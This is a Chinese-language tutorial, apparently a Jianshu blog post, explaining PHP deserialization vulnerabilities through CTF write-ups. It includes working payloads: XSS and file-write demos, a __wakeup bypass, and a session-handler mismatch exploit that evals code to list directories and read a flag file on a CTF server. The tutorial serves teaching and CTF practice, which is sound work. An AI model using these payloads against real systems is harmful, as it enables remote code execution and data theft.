php反序列化漏洞

前言

之前剛接觸到反序列化概念的時(shí)候,寫過一篇?,F(xiàn)在回頭看的時(shí)候,發(fā)現(xiàn)寫的太low了。所以再重寫一篇。如果以后不滿意我就再重寫。

序列化

認(rèn)識(shí)反序列化之前,先說一下序列化,通俗地講就是把一個(gè)對(duì)象變成可以傳輸?shù)淖址?br> 序列化代碼

<?php

class Demo{
    public $name = "author";
    protected $sex = "sex";
    private $age = 18;
}


$example = new Demo();
echo serialize($example);
?>

結(jié)果為

O:4:"Demo":3:{s:4:"name";s:6:"author";s:6:"*sex";s:3:"sex";s:9:"Demoage";i:18;}

serialize() 函數(shù)產(chǎn)生一個(gè)可存儲(chǔ)的字符串,經(jīng)常用于序列化操作。

O 表示Object對(duì)象,4代表4個(gè)字符,即Demo
3 表示三個(gè)變量,即name、sex、age
s 表示字符串string,i 表示整型int
4、6、3 、9代表變量名的字符長度

protected 屬性被序列化的時(shí)候?qū)傩灾禃?huì)變成%00*%00屬性名
即s:6:"*sex",兩個(gè)%00也就是空白符,一個(gè)%00長度為一,所以序列化后該屬性長度為6
private 屬性被序列化的時(shí)候?qū)傩灾禃?huì)變成%00類名%00屬性名
即s:9:"Demoage",7個(gè)字符長度加上兩個(gè)%00為9

反序列化

反序列化就是把那串可以傳輸?shù)淖址僮兓貙?duì)象。
使用unserialize()函數(shù)對(duì)字符串進(jìn)行反序列化為對(duì)象。

<?php

class Demo{
    public $name = "author";
    public $sex = "sex";
    public $age = 18;
}


$example = new Demo();
$example->name = "cseroad";
$example->sex = "man";
$example->age = 18;
$val = serialize($example);
$newexample = unserialize($val);
var_dump($newexample);
?>

輸出結(jié)果為

object(Demo)#2 (3) { ["name"]=> string(7) "cseroad" ["sex"]=> string(3) "man" ["age"]=> int(18) } 

魔術(shù)方法

php 有很多魔術(shù)方法,魔術(shù)函數(shù)以__開頭,在某些條件下自動(dòng)觸發(fā)。

__construct() 構(gòu)造函數(shù),一個(gè)對(duì)象創(chuàng)建時(shí)被調(diào)用
__destruct() 析構(gòu)函數(shù),當(dāng)一個(gè)對(duì)象銷毀時(shí)被調(diào)用
__toString() 當(dāng)一個(gè)對(duì)象被當(dāng)作一個(gè)字符串使用

__sleep() 先檢測是否存在該方法,如果存在先調(diào)用再執(zhí)行序列化操作
__wakeup() 先檢測是否存在該方法,如果存在先調(diào)用再執(zhí)行反序列化操作

以__wakeup()為例

<?php

class Demo{
    public $name = "author";
    public $sex = "sex";
    public $age = 18;
    public function __wakeup(){
        $this->name = "vxeroad";
    }
}


$example = new Demo();
$example->name = "cseroad";
$example->sex = "man";
$example->age = 18;
$val = serialize($example);
$newexample = unserialize($val);
var_dump($newexample);
?>

結(jié)果輸出

object(Demo)#2 (3) { ["name"]=> string(7) "vxeroad" ["sex"]=> string(3) "man" ["age"]=> int(18) } 

順便說一句
當(dāng)序列化字符串表示對(duì)象屬性個(gè)數(shù)的值大于真實(shí)個(gè)數(shù)的屬性時(shí)就會(huì)跳過__wakeup的執(zhí)行。

漏洞產(chǎn)生

如果服務(wù)器能夠接收序列化過的字符串、并且未經(jīng)過濾的把其中的變量直接放進(jìn)這些魔術(shù)方法,就很容易造成嚴(yán)重的漏洞。

比如這個(gè)demo.php

<?php
class A{
    var $name = "demo";
    function __destruct(){
        echo $this->name;
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
//var_dump($a_unser);
?>

payload為

test=O:1:"A":1:{s:4:"name";s:25:"<script>alert(1)</script>";}

test參數(shù)沒有經(jīng)過任何處理,只需要將序列化的字符串設(shè)置name,就可以覆蓋name屬性。
設(shè)置字符串為XSS代碼,反序列化后即可觸發(fā)。

image.png

再比如這個(gè)

<?php
class A{
    var $name = "demo";
    function __destruct(){
        $fp=fopen(dirname(__FILE__)."/save.php","w");
        fputs($fp,$this->name);
        fclose($fp);
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

payload 為

test=O:1:"A":1:{s:4:"name";s:18:"<?php phpinfo();?>";}

即可將phpinfo寫進(jìn)save.php文件。

image.png

CTF實(shí)例

了解了反序列化的漏洞原理,我們看道CTF題目。
極客大挑戰(zhàn) 2019-web 題目
index.php

<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

class.php

<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

看到index.php 接收select參數(shù),傳入序列化的字符串。進(jìn)行反序列化操作。
看到class.php文件使用了三個(gè)魔術(shù)方法。__construct 構(gòu)造函數(shù)、__wakeup 反序列化時(shí)先調(diào)用、__destruct對(duì)象銷毀時(shí)調(diào)用??吹絬sername必須為admin時(shí),才可以獲取flag。
這里的變量username、password 均是private 屬性。應(yīng)是s:14:"Nameusername",設(shè)置username為admin。
payload為

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";}

接著填寫password,"Namepassword";i:100,注意是int類型
payload為

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

執(zhí)行后


image.png

既沒有獲取到username,也沒有password。
是因?yàn)閜rivate屬性。之前我們說過private被序列化的時(shí)候?qū)傩灾禃?huì)變成%00類名%00屬性名。只不過是不可見字符。
所以我們payload自然也需要加上%00字符。
payload為

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
image.png

程序走了else分支,因?yàn)榉葱蛄谢僮鲿r(shí)調(diào)用了__wakeup,username被賦值為了guest,不是admin。那么有什么辦法跳過__wakeup嗎?當(dāng)然就是上面說過的:當(dāng)序列化字符串表示對(duì)象屬性個(gè)數(shù)的值大于真實(shí)個(gè)數(shù)的屬性時(shí)可跳過。
所以最終payload為

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
image.png

這道題目的思路就是跳過__wakeup()函數(shù)。

Session 反序列化

什么是 Sesssion ?

Session 被稱為“會(huì)話控制”。主要是指客戶端瀏覽器與服務(wù)端數(shù)據(jù)交換的對(duì)話,從瀏覽器打開到關(guān)閉,一個(gè)最簡單的會(huì)話周期
當(dāng)開始一個(gè)Session時(shí),php會(huì)嘗試從請(qǐng)求中查找會(huì)話 ID (通常通過會(huì)話 cookie),如果發(fā)現(xiàn)請(qǐng)求的Cookie、Get、Post中不存在session id,php就會(huì)自動(dòng)調(diào)用php_session_create_id函數(shù)創(chuàng)建一個(gè)新的會(huì)話,并且在response中通過set-cookie頭部發(fā)送給客戶端保存,例如登錄網(wǎng)頁時(shí)不存在session id,于是就使用了set-cookie頭。

php.ini 配置

session.save_path=""      設(shè)置session的存儲(chǔ)位置
session.save_handler=""   設(shè)定用戶自定義存儲(chǔ)函數(shù),如果想使用PHP內(nèi)置session存儲(chǔ)機(jī)制之外的可以使用這個(gè)函數(shù)
session.auto_start        指定會(huì)話模塊是否在請(qǐng)求開始時(shí)啟動(dòng)一個(gè)會(huì)話,默認(rèn)值為 0,不啟動(dòng)
session.serialize_handler 定義用來序列化/反序列化的處理器名字,默認(rèn)使用php  
session.upload_progress.enabled 啟用上傳進(jìn)度跟蹤,并填充$ _SESSION變量,默認(rèn)啟用
session.upload_progress.cleanup 讀取所有POST數(shù)據(jù)(即完成上傳)后,立即清理進(jìn)度信息,默認(rèn)啟用

phpstudy的phpinfo 配置

session.save_path = "C:\phpStudy\tmp\tmp"      所有session文件存儲(chǔ)在tmp目錄下
session.save_handler = files       表明session是以文件的方式來進(jìn)行存儲(chǔ)的
session.auto_start = off           表明默認(rèn)不啟動(dòng)session
session.serialize_handler = php    表明session的默認(rèn)(反)序列化引擎使用的是php(反)序列化引擎
session.upload_progress.enabled on 表明允許上傳進(jìn)度跟蹤,并填充$ _SESSION變量
session.upload_progress.cleanup on 表明所有POST數(shù)據(jù)(即完成上傳)后,立即清理進(jìn)度信息($ _SESSION變量)

session的存儲(chǔ)機(jī)制

php session的存儲(chǔ)機(jī)制是由session.serialize_handler來定義引擎的,默認(rèn)是以文件的方式存儲(chǔ)。即在C:\phpStudy\tmp\tmp 目錄下。
session.serialize_handler 定義的引擎有三種

處理器名稱------存儲(chǔ)格式
php     ------   鍵名 + 豎線 + 經(jīng)過serialize()函數(shù)序列化處理的值 
php_binary ------ 鍵名的長度對(duì)應(yīng)的 ASCII 字符 + 鍵名 + 經(jīng)過serialize()函數(shù)序列化后的值
php_serialize(php>5.5.4)  ------   經(jīng)過serialize()函數(shù)序列化處理的數(shù)組

下面我們通過簡單的代碼看一下
php 處理器

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

賦值為cseroad


image.png

session目錄存儲(chǔ)為

session|s:7:"cseroad";

session鍵名+|+序列化值
php_binary處理器

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

session目錄存儲(chǔ)為

image.png

session 字符長度7對(duì)應(yīng)的ASCII碼+鍵名session+序列化值
php_serialize 處理器

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

session 目錄存儲(chǔ)為

a:1:{s:7:"session";s:7:"cseroad";}

$_SESSION變量序列化后的值

Session 的反序列化漏洞

漏洞產(chǎn)生就是不同的處理器混合使用。在用session.serialize_handler = php_serialize存儲(chǔ)的字符可以引入 | , 再用session.serialize_handler = php格式取出$_SESSION的值時(shí), | 會(huì)被當(dāng)成鍵值對(duì)的分隔符,在特定的地方會(huì)造成反序列化漏洞。
比如session.php

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

hello.php

<?php   
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class A{
    public $name = "cseroad";
    public $age;
    function __wakeup(){
        echo "hello ".$this->name;
    }
}
$str = new A();
echo serialize($str);

?>

在首次訪問hello.php時(shí),輸出

image.png
O:1:"A":2:{s:4:"name";s:7:"cseroad";s:3:"age";N;}

此時(shí)session目錄為空值
如果此時(shí)訪問session.php,并賦值session為 | O:1:"A":2:{s:4:"name";s:7:"cseroad";s:3:"age";N;}

image.png

再次查看session 目錄。這里的|就是分隔符。

image.png

有了該session值,再次訪問hello.php文件時(shí),從session值里面取出name值。即可輸出hello cseroad

image.png

CTF 實(shí)例

題目:http://web.jarvisoj.com:32784/

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

phpinfo查看session.serialize_handler值,存在session 反序列化

image.png

如何控制session值呢?
當(dāng)上傳文件時(shí),同時(shí)POST文件與session.upload_progress.name同名變量時(shí),當(dāng)php檢測到這種POST請(qǐng)求時(shí),它會(huì)在$_SESSION中添加一組數(shù)據(jù)。那就可以通過Session Upload Progress來設(shè)置session。

image.png

編寫上傳HTML

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

那么上傳的filename寫什么呢?和之前的思路類似,填寫分隔符加序列化的字符串。
那字符串又寫什么呢?
編寫腳本,設(shè)置處理器為php_serialize

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
    public $mdzz='payload';
}
$obj = new OowoO();
echo serialize($obj);
?>

設(shè)置payload為

print_r(scandir(dirname(__FILE__)));
#scandir 函數(shù)列出目錄中的文件和目錄
#dirname 函數(shù)返回路徑中的目錄部分

得到

O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

為防轉(zhuǎn)義,在每個(gè)雙引號(hào)前加上\

O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

這就是filename值。
注意添加|

image.png

可以看到存在flag文件。
接著使用file_get_contents函數(shù)讀取該路徑下flag文件。當(dāng)前目錄路徑phpinfo可看到。
payload 修改為

print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));

獲取序列化字符,并添加反斜杠

O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}

讀取flag

image.png

這道題目的思路就是自己編寫php_serialize 處理器,填寫讀取讀取文件的payload。并輸出序列化后的字符串,再利用文件上傳通過filename設(shè)置session,讀取flag。

總結(jié)

有些難懂,彎彎繞繞需要多看,多理解。

參考資料

最通俗易懂的PHP反序列化原理分析
PHP反序列化漏洞入門
原理+實(shí)踐掌握(PHP反序列化和Session反序列化
一文讓PHP反序列化從入門到進(jìn)階

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

友情鏈接更多精彩內(nèi)容